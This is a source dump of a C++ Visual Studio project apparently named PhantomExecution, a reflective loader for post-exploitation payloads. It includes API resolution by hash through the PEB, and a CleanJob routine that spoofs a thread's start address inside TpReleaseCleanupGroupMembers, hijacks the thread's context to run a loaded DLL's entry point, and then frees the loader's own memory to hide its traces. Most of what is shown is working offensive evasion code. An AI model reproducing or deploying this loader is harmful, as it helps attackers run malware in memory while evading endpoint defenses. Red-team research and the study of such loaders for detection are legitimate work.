e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x64\postex-loader.x64.exe 5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x64.iobj 6 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x64\postex-loader.x64.pdb 7 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.exe 8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x86.iobj 9 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.pdb 10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.vcxproj.filelistabsolute.txt 11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.command.1.tlog 12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.items.tlog 13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.read.1.tlog 14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.write.1.tlog 15 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.command.1.tlog 16 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.read.1.tlog 17 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.write.1.tlog 18 | -------------------------------------------------------------------------------- /library/library.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /examples/postex-loader/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | //===============================================================================================// 3 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 4 | // All rights reserved. 5 | // 6 | // Redistribution and use in source and binary forms, with or without modification, are permitted 7 | // provided that the following conditions are met: 8 | // 9 | // * Redistributions of source code must retain the above copyright notice, this list of 10 | // conditions and the following disclaimer. 11 | // 12 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 13 | // conditions and the following disclaimer in the documentation and/or other materials provided 14 | // with the distribution. 15 | // 16 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 17 | // endorse or promote products derived from this software without specific prior written permission. 18 | // 19 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 20 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 21 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 22 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 25 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 26 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 27 | // POSSIBILITY OF SUCH DAMAGE. 28 | //===============================================================================================// 29 | #define WIN32_LEAN_AND_MEAN 30 | 31 | #include "LoaderTypes.h" 32 | -------------------------------------------------------------------------------- /PhantomExecution.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32825.248 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "library", "library\library.vcxproj", "{9BAA9130-BEDD-4E84-859A-DC508A67EA4E}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "postex-loader", "examples\postex-loader\postex-loader.vcxproj", "{061716A2-9561-46F9-9896-B58E8CBC4D94}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x64.ActiveCfg = Debug|x64 19 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x64.Build.0 = Debug|x64 20 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x86.ActiveCfg = Debug|Win32 21 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Debug|x86.Build.0 = Debug|Win32 22 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x64.ActiveCfg = Release|x64 23 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x64.Build.0 = Release|x64 24 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x86.ActiveCfg = Release|Win32 25 | {9BAA9130-BEDD-4E84-859A-DC508A67EA4E}.Release|x86.Build.0 = Release|Win32 26 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x64.ActiveCfg = Debug|x64 27 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x64.Build.0 = Debug|x64 28 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x86.ActiveCfg = Debug|Win32 29 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Debug|x86.Build.0 = Debug|Win32 30 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x64.ActiveCfg = Release|x64 31 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x64.Build.0 = Release|x64 32 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x86.ActiveCfg = Release|Win32 33 | {061716A2-9561-46F9-9896-B58E8CBC4D94}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {8B8471D1-68F3-4533-8056-18A27E86653B} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /default.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(SolutionDir)$(ProjectName)\bin\ 7 | $(SolutionDir)intermmediate\$(ProjectName)\$(Configuration)\ 8 | $(ProjectName).$(LibrariesArchitecture) 9 | 10 | 11 | 12 | MinSpace 13 | 14 | 15 | 16 | 17 | Size 18 | true 19 | false 20 | Default 21 | false 22 | Level3 23 | OnlyExplicitInline 24 | true 25 | 26 | 27 | true 28 | Default 29 | true 30 | 31 | 32 | 33 | 34 | UseLinkTimeCodeGeneration 35 | 36 | 37 | 38 | 39 | UseLinkTimeCodeGeneration 40 | 41 | 42 | 43 | 44 | Disabled 45 | Neither 46 | false 47 | 48 | 49 | false 50 | Default 51 | 52 | 53 | 54 | 55 | Disabled 56 | Neither 57 | false 58 | 59 | 60 | false 61 | Default 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /examples/postex-loader/CleanJob.cpp: -------------------------------------------------------------------------------- 1 | #include "CleanJob.h" 2 | #include "Utils.h" 3 | #include "End.h" 4 | 5 | #pragma code_seg(".text$y") 6 | void CleanJob(DLLMAIN entryPoint, ULONG_PTR loadedDllBaseAddress, void* loaderStart, NT_CREATETHREADEX NtCreateThreadEx, NT_GETCONTEXTTHREAD NtGetContextThread, RTL_EXITUSERTHREAD RtlExitUserThread, NT_SETCONTEXTTHREAD NtSetContextThread, NT_RESUMETHREAD NtResumeThread, WAITFORSINGLEOBJECTS WaitForSingleObject, VIRTUALFREE VirtualFree, RTL_CAPTURECONTEXT RtlCaptureContext, NT_CONTINUE NtContinue, VIRTUALQUERY VirtualQuery, PVOID TpReleaseCleanupGroupMembers, UNMAPVIEWOFFILE UnmapViewOfFile) { 7 | 8 | MEMORY_BASIC_INFORMATION mbi = { }; 9 | HANDLE hThread = NULL; 10 | CONTEXT CtxFreeMem; 11 | CONTEXT CtxEntry; 12 | 13 | if (VirtualQuery((char*)loaderStart, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) { 14 | if (mbi.Type == MEM_PRIVATE) { 15 | VirtualFree((char*)mbi.BaseAddress, 0, MEM_RELEASE); 16 | } 17 | else if (mbi.Type == MEM_MAPPED) 18 | UnmapViewOfFile((char*)mbi.BaseAddress); 19 | } 20 | 21 | if (NT_SUCCESS(NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)((ULONG_PTR)TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL))) 22 | { 23 | CtxEntry.ContextFlags = CONTEXT_FULL; 24 | NtGetContextThread(hThread, &CtxEntry); 25 | 26 | #ifdef _WIN64 27 | CtxEntry.Rip = UINT_PTR(entryPoint); 28 | CtxEntry.Rcx = UINT_PTR(loadedDllBaseAddress); 29 | CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH); 30 | *(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(RtlExitUserThread); 31 | #elif _WIN32 32 | DWORD* originalStack = (DWORD*)CtxEntry.Esp; 33 | DWORD* newStack = originalStack - 4; 34 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread); 35 | newStack[1] = (DWORD)loadedDllBaseAddress; 36 | newStack[2] = (DWORD)DLL_PROCESS_ATTACH; 37 | CtxEntry.Esp = (DWORD)newStack; 38 | CtxEntry.Eip = (DWORD)entryPoint; 39 | #endif 40 | CtxEntry.ContextFlags = CONTEXT_FULL; 41 | NtSetContextThread(hThread, &CtxEntry); 42 | NtResumeThread(hThread, 0); 43 | } 44 | 45 | WaitForSingleObject(hThread, INFINITE); 46 | 47 | if (VirtualQuery((char*)loadedDllBaseAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) { 48 | 49 | if (mbi.Type == MEM_PRIVATE) { 50 | 51 | CtxFreeMem.ContextFlags = CONTEXT_FULL; 52 | RtlCaptureContext(&CtxFreeMem); 53 | 54 | #ifdef _WIN64 55 | CtxFreeMem.Rip = UINT_PTR(VirtualFree); 56 | CtxFreeMem.Rcx = UINT_PTR(CleanJob); 57 | CtxFreeMem.Rdx = UINT_PTR(0); 58 | CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE); 59 | *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(RtlExitUserThread); 60 | #else 61 | DWORD* originalStack = (DWORD*)CtxFreeMem.Esp; 62 | DWORD* newStack = originalStack - 4; 63 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread); 64 | newStack[1] = (DWORD)mbi.BaseAddress; 65 | newStack[2] = (DWORD)0; 66 | newStack[3] = (DWORD)MEM_RELEASE; 67 | CtxFreeMem.Esp = (DWORD)newStack; 68 | CtxFreeMem.Eip = (DWORD)VirtualFree; 69 | #endif 70 | CtxFreeMem.ContextFlags = CONTEXT_FULL; 71 | NtContinue(&CtxFreeMem, FALSE); 72 | 73 | } 74 | else if (mbi.Type == MEM_MAPPED) { 75 | 76 | CtxFreeMem.ContextFlags = CONTEXT_FULL; 77 | RtlCaptureContext(&CtxFreeMem); 78 | 79 | #ifdef _WIN64 80 | CtxFreeMem.Rip = UINT_PTR(UnmapViewOfFile); 81 | CtxFreeMem.Rcx = UINT_PTR(mbi.BaseAddress); 82 | *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(RtlExitUserThread); 83 | #else 84 | DWORD* originalStack = (DWORD*)CtxFreeMem.Esp; 85 | DWORD* newStack = originalStack - 4; 86 | newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread); 87 | newStack[1] = (DWORD)mbi.BaseAddress; 88 | CtxFreeMem.Esp = (DWORD)newStack; 89 | CtxFreeMem.Eip = (DWORD)UnmapViewOfFile; 90 | #endif 91 | CtxFreeMem.ContextFlags = CONTEXT_FULL; 92 | NtContinue(&CtxFreeMem, FALSE); 93 | } 94 | 95 | } 96 | } 97 | 98 | #pragma code_seg(".text$x") 99 | PVOID GetCleanData(PDWORD Length) 100 | { 101 | PVOID Data = NULL; 102 | DWORD Size = 0; 103 | 104 | Size = UINT_PTR(LdrEnd) - UINT_PTR(CleanJob); 105 | 106 | #ifdef _WIN64 107 | Data = CleanJob; 108 | #else 109 | Data = PVOID((UINT_PTR)LdrEnd() - 8); 110 | Data = PVOID(UINT_PTR(Data) - Size); 111 | #endif 112 | 113 | if (Length) 114 | { 115 | Length[0] = Size; 116 | } 117 | 118 | return Data; 119 | } -------------------------------------------------------------------------------- /library/StdLib.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "StdLib.h" 3 | #include "Hash.h" 4 | 5 | /******************************************************************* 6 | * To avoid problems with function positioning, do not add any new 7 | * functions above this pragma directive. 8 | ********************************************************************/ 9 | #pragma code_seg(".text$e") 10 | 11 | /** 12 | * A function to copy memory from one location to another 13 | * 14 | * @param dest A pointer to the destination buffer. 15 | * @param src A pointer to the source buffer. 16 | * @param size The size of the memory to copy. 17 | * @return A Boolean value to indicate success 18 | */ 19 | BOOL _memcpy(void* dest, void* src, size_t size) { 20 | if (dest == NULL || src == NULL) { 21 | return FALSE; 22 | } 23 | char* csrc = (char*)src; 24 | char* cdest = (char*)dest; 25 | for (size_t i = 0; i < size; i++) { 26 | cdest[i] = csrc[i]; 27 | } 28 | return TRUE; 29 | } 30 | 31 | /** 32 | * A function to compare two memory blocks 33 | * 34 | * @param ptr1 A pointer to the destination buffer. 35 | * @param ptr2 A pointer to the source buffer. 36 | * @param size Number of bytes to compare. 37 | * @return A negative value if ptr1 is less than ptr2, a positive value if ptr1 is greater 38 | * than ptr2, or 0 if both memory blocks are equal. 39 | */ 40 | int _memcmp(const void* ptr1, const void* ptr2, size_t size) { 41 | const unsigned char* p1 = (const unsigned char*)ptr1; 42 | const unsigned char* p2 = (const unsigned char*)ptr2; 43 | 44 | for (size_t i = 0; i < size; ++i) { 45 | if (p1[i] < p2[i]) { 46 | return -1; 47 | } 48 | else if (p1[i] > p2[i]) { 49 | return 1; 50 | } 51 | } 52 | 53 | return 0; 54 | } 55 | 56 | /** 57 | * A function to fill a block of memory 58 | * 59 | * @param dest A pointer to the memory block to be filled. 60 | * @param ch The byte value to fill the memory block with. 61 | * @param count Number of bytes to fill. 62 | * @return A pointer to the memory block dest. 63 | */ 64 | #pragma optimize( "", off ) 65 | void* _memset(void* dest, int ch, size_t count) { 66 | unsigned char* p = (unsigned char*)dest; 67 | unsigned char value = (unsigned char)ch; 68 | 69 | for (size_t i = 0; i < count; i++) { 70 | p[i] = value; 71 | } 72 | 73 | return dest; 74 | } 75 | #pragma optimize( "", on) 76 | 77 | 78 | int _strcmp(const char* src, const char* dst) 79 | { 80 | int ret = 0; 81 | 82 | while (!(ret = *(unsigned char*)src - *(unsigned char*)dst) && *dst) 83 | ++src, ++dst; 84 | 85 | if (ret < 0) 86 | ret = -1; 87 | else if (ret > 0) 88 | ret = 1; 89 | 90 | return ret; 91 | } 92 | 93 | 94 | #ifdef _DEBUG 95 | #include "FunctionResolving.h" 96 | /** 97 | * Print the specified string to the console 98 | * 99 | * Note: We resolve the Windows APIs each time we call the function to make it 100 | * position independent and to avoid passing a DEBUGAPI structure around. 101 | * This means the current implementation can be used in Release mode (for debugging) as well. 102 | * To support Release mode, modify the macro in StdLib.h. 103 | * 104 | * @param format The string to be printed. 105 | * @param ... Optional number of arguments to facilitate printing format specifiers. 106 | */ 107 | void _printf(const char* format, ...) { 108 | va_list arglist; 109 | va_start(arglist, format); 110 | char buff[1024]; 111 | 112 | typedef int (WINAPI* VSPRINTF_S)(char*, size_t, const char*, va_list); 113 | typedef BOOL(WINAPI* WRITECONSOLEA)(HANDLE, const void*, DWORD, LPDWORD, LPVOID); 114 | typedef HANDLE(WINAPI* GETSTDHANDLE)(DWORD); 115 | 116 | constexpr DWORD NTDLL_HASH = CompileTimeHash("ntdll.dll"); 117 | constexpr DWORD KERNEL32_HASH = CompileTimeHash("kernel32.dll"); 118 | 119 | constexpr DWORD vsprintf_s_hash = CompileTimeHash("vsprintf_s"); 120 | constexpr DWORD WriteConsoleA_hash = CompileTimeHash("WriteConsoleA"); 121 | constexpr DWORD GetStdHandle_hash = CompileTimeHash("GetStdHandle"); 122 | 123 | // Get the Process Enviroment Block 124 | #ifdef _WIN64 125 | _PPEB pebAddress = (_PPEB)__readgsqword(0x60); 126 | #elif _WIN32 127 | _PPEB pebAddress = (_PPEB)__readfsdword(0x30); 128 | #endif 129 | VSPRINTF_S fnVsprintf_s = (VSPRINTF_S)GetProcAddressByHash(pebAddress, NTDLL_HASH, vsprintf_s_hash); 130 | 131 | int len = fnVsprintf_s(buff, 1024, format, arglist); 132 | if (len > 0) { 133 | WRITECONSOLEA fnWriteConsoleA = (WRITECONSOLEA)GetProcAddressByHash(pebAddress, KERNEL32_HASH, WriteConsoleA_hash); 134 | GETSTDHANDLE fnGetStdHandle = (GETSTDHANDLE)GetProcAddressByHash(pebAddress, KERNEL32_HASH, GetStdHandle_hash); 135 | 136 | fnWriteConsoleA(fnGetStdHandle(STD_OUTPUT_HANDLE), buff, len, NULL, NULL); 137 | } 138 | va_end(arglist); 139 | } 140 | #endif _DEBUG 141 | -------------------------------------------------------------------------------- /library/library.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 16.0 37 | Win32Proj 38 | {9baa9130-bedd-4e84-859a-dc508a67ea4e} 39 | library 40 | 10.0 41 | 42 | 43 | 44 | StaticLibrary 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | StaticLibrary 51 | false 52 | v143 53 | true 54 | Unicode 55 | 56 | 57 | StaticLibrary 58 | true 59 | v143 60 | Unicode 61 | 62 | 63 | StaticLibrary 64 | false 65 | v143 66 | true 67 | Unicode 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | Level3 95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | 98 | 99 | Console 100 | true 101 | 102 | 103 | 104 | 105 | Level3 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | 115 | 116 | 117 | 118 | Level3 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | 126 | 127 | 128 | 129 | Level3 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /examples/postex-loader/postex-loader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {061716a2-9561-46f9-9896-b58e8cbc4d94} 25 | postexloader 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | Level3 80 | true 81 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 82 | true 83 | 84 | 85 | Console 86 | true 87 | 88 | 89 | 90 | 91 | Level3 92 | true 93 | true 94 | true 95 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | 98 | 99 | Console 100 | true 101 | true 102 | true 103 | 104 | 105 | python3.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin" 106 | 107 | 108 | 109 | 110 | Level3 111 | true 112 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 113 | true 114 | 115 | 116 | Console 117 | true 118 | 119 | 120 | 121 | 122 | Level3 123 | true 124 | true 125 | true 126 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 127 | true 128 | 129 | 130 | 131 | 132 | Console 133 | true 134 | true 135 | true 136 | 137 | 138 | python3.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin" 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | {9baa9130-bedd-4e84-859a-dc508a67ea4e} 152 | 153 | 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /library/LoaderTypes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define DEREF( name )*(UINT_PTR *)(name) 5 | #define DEREF_64( name )*(DWORD64 *)(name) 6 | #define DEREF_32( name )*(DWORD *)(name) 7 | #define DEREF_16( name )*(WORD *)(name) 8 | #define DEREF_8( name )*(BYTE *)(name) 9 | 10 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 11 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 12 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 13 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD); 14 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 15 | 16 | 17 | typedef _Return_type_success_(return >= 0) LONG NTSTATUS; 18 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 19 | 20 | 21 | typedef NTSTATUS(NTAPI* NT_CREATETHREADEX)( 22 | PHANDLE hThread, 23 | ACCESS_MASK DesiredAccess, 24 | PVOID ObjectAttributes, 25 | HANDLE ProcessHandle, 26 | PVOID lpStartAddress, 27 | PVOID lpParameter, 28 | ULONG Flags, 29 | SIZE_T StackZeroBits, 30 | SIZE_T SizeOfStackCommit, 31 | SIZE_T SizeOfStackReserve, 32 | PVOID lpBytesBuffer 33 | ); 34 | 35 | 36 | #define NtCurrentProcess() ((HANDLE)-1) 37 | 38 | typedef BOOL(WINAPI* VIRTUALFREE)( 39 | LPVOID lpAddress, 40 | SIZE_T dwSize, 41 | DWORD dwFreeType 42 | ); 43 | 44 | typedef NTSTATUS(NTAPI* NT_GETCONTEXTTHREAD)(HANDLE, PCONTEXT); 45 | 46 | typedef NTSTATUS(NTAPI* NT_SETCONTEXTTHREAD) 47 | ( 48 | IN HANDLE ThreadHandle, 49 | IN PCONTEXT ThreadContext 50 | ); 51 | 52 | 53 | typedef NTSTATUS(NTAPI* NT_RESUMETHREAD)( 54 | HANDLE ThreadHandle, 55 | PULONG SuspendCount 56 | ); 57 | 58 | typedef VOID(NTAPI* RTL_CAPTURECONTEXT)( 59 | PCONTEXT ContextRecord 60 | ); 61 | 62 | typedef NTSTATUS(NTAPI* NT_CONTINUE)( 63 | PCONTEXT ContextRecord, 64 | BOOLEAN TestAlert 65 | ); 66 | 67 | 68 | typedef VOID(NTAPI* RTL_EXITUSERTHREAD)( 69 | NTSTATUS ExitStatus 70 | ); 71 | 72 | typedef DWORD(WINAPI* WAITFORSINGLEOBJECTS)( 73 | HANDLE hHandle, 74 | DWORD dwMilliseconds 75 | ); 76 | 77 | typedef DWORD(WINAPI* QUENEUSERAPC)( 78 | PAPCFUNC pfnAPC, 79 | HANDLE hThread, 80 | ULONG_PTR dwData 81 | ); 82 | 83 | typedef SIZE_T(WINAPI* VIRTUALQUERY)( 84 | LPCVOID lpAddress, 85 | PMEMORY_BASIC_INFORMATION lpBuffer, 86 | SIZE_T dwLength 87 | ); 88 | 89 | typedef BOOL(WINAPI* UNMAPVIEWOFFILE)( 90 | LPCVOID lpBaseAddress 91 | ); 92 | 93 | 94 | typedef BOOL(WINAPI * CREATETIMERQUENETIMER)( 95 | PHANDLE phNewTimer, 96 | HANDLE TimerQueue, 97 | WAITORTIMERCALLBACK Callback, 98 | PVOID Parameter, 99 | DWORD DueTime, 100 | DWORD Period, 101 | ULONG Flags 102 | ); 103 | 104 | typedef struct _WINDOWSAPIS { 105 | LOADLIBRARYA LoadLibraryA; 106 | GETPROCADDRESS GetProcAddress; 107 | VIRTUALALLOC VirtualAlloc; 108 | VIRTUALPROTECT VirtualProtect; 109 | NTFLUSHINSTRUCTIONCACHE NtFlushInstructionCache; 110 | VIRTUALFREE VirtualFree; 111 | PVOID TpReleaseCleanupGroupMembers; 112 | 113 | } WINDOWSAPIS, * PWINDOWSAPIS; 114 | 115 | typedef struct _NTSAPIS { 116 | 117 | NT_CREATETHREADEX NtCreateThreadEx; 118 | NT_GETCONTEXTTHREAD NtGetContextThread; 119 | NT_SETCONTEXTTHREAD NtSetContextThread; 120 | NT_RESUMETHREAD NtResumeThread; 121 | RTL_CAPTURECONTEXT RtlCaptureContext; 122 | NT_CONTINUE NtContinue; 123 | RTL_EXITUSERTHREAD RtlExitUserThread; 124 | } NTSAPIS, * PNTSAPIS; 125 | 126 | typedef struct _OTHERSAPIS { 127 | 128 | WAITFORSINGLEOBJECTS WaitForSingleObject; 129 | VIRTUALQUERY VirtualQuery; 130 | UNMAPVIEWOFFILE UnmapViewOfFile; 131 | 132 | } OTHERSAPIS, * POTHERSAPIS; 133 | 134 | typedef struct _UNICODE_STR { 135 | USHORT Length; 136 | USHORT MaximumLength; 137 | PWSTR pBuffer; 138 | } UNICODE_STR, * PUNICODE_STR; 139 | 140 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 141 | typedef struct _LDR_DATA_TABLE_ENTRY { 142 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 143 | LIST_ENTRY InMemoryOrderModuleList; 144 | LIST_ENTRY InInitializationOrderModuleList; 145 | PVOID DllBase; 146 | PVOID EntryPoint; 147 | ULONG SizeOfImage; 148 | UNICODE_STR FullDllName; 149 | UNICODE_STR BaseDllName; 150 | ULONG Flags; 151 | SHORT LoadCount; 152 | SHORT TlsIndex; 153 | LIST_ENTRY HashTableEntry; 154 | ULONG TimeDateStamp; 155 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 156 | 157 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 158 | typedef struct _PEB_LDR_DATA { 159 | DWORD dwLength; 160 | DWORD dwInitialized; 161 | LPVOID lpSsHandle; 162 | LIST_ENTRY InLoadOrderModuleList; 163 | LIST_ENTRY InMemoryOrderModuleList; 164 | LIST_ENTRY InInitializationOrderModuleList; 165 | LPVOID lpEntryInProgress; 166 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 167 | 168 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 169 | typedef struct _PEB_FREE_BLOCK { 170 | struct _PEB_FREE_BLOCK* pNext; 171 | DWORD dwSize; 172 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 173 | 174 | /** 175 | * struct _PEB is defined in Winternl.h but it is incomplete 176 | * WinDbg> dt -v ntdll!_PEB 177 | */ 178 | typedef struct __PEB { 179 | BYTE bInheritedAddressSpace; 180 | BYTE bReadImageFileExecOptions; 181 | BYTE bBeingDebugged; 182 | BYTE bSpareBool; 183 | LPVOID lpMutant; 184 | LPVOID lpImageBaseAddress; 185 | PPEB_LDR_DATA pLdr; 186 | LPVOID lpProcessParameters; 187 | LPVOID lpSubSystemData; 188 | LPVOID lpProcessHeap; 189 | PRTL_CRITICAL_SECTION pFastPebLock; 190 | LPVOID lpFastPebLockRoutine; 191 | LPVOID lpFastPebUnlockRoutine; 192 | DWORD 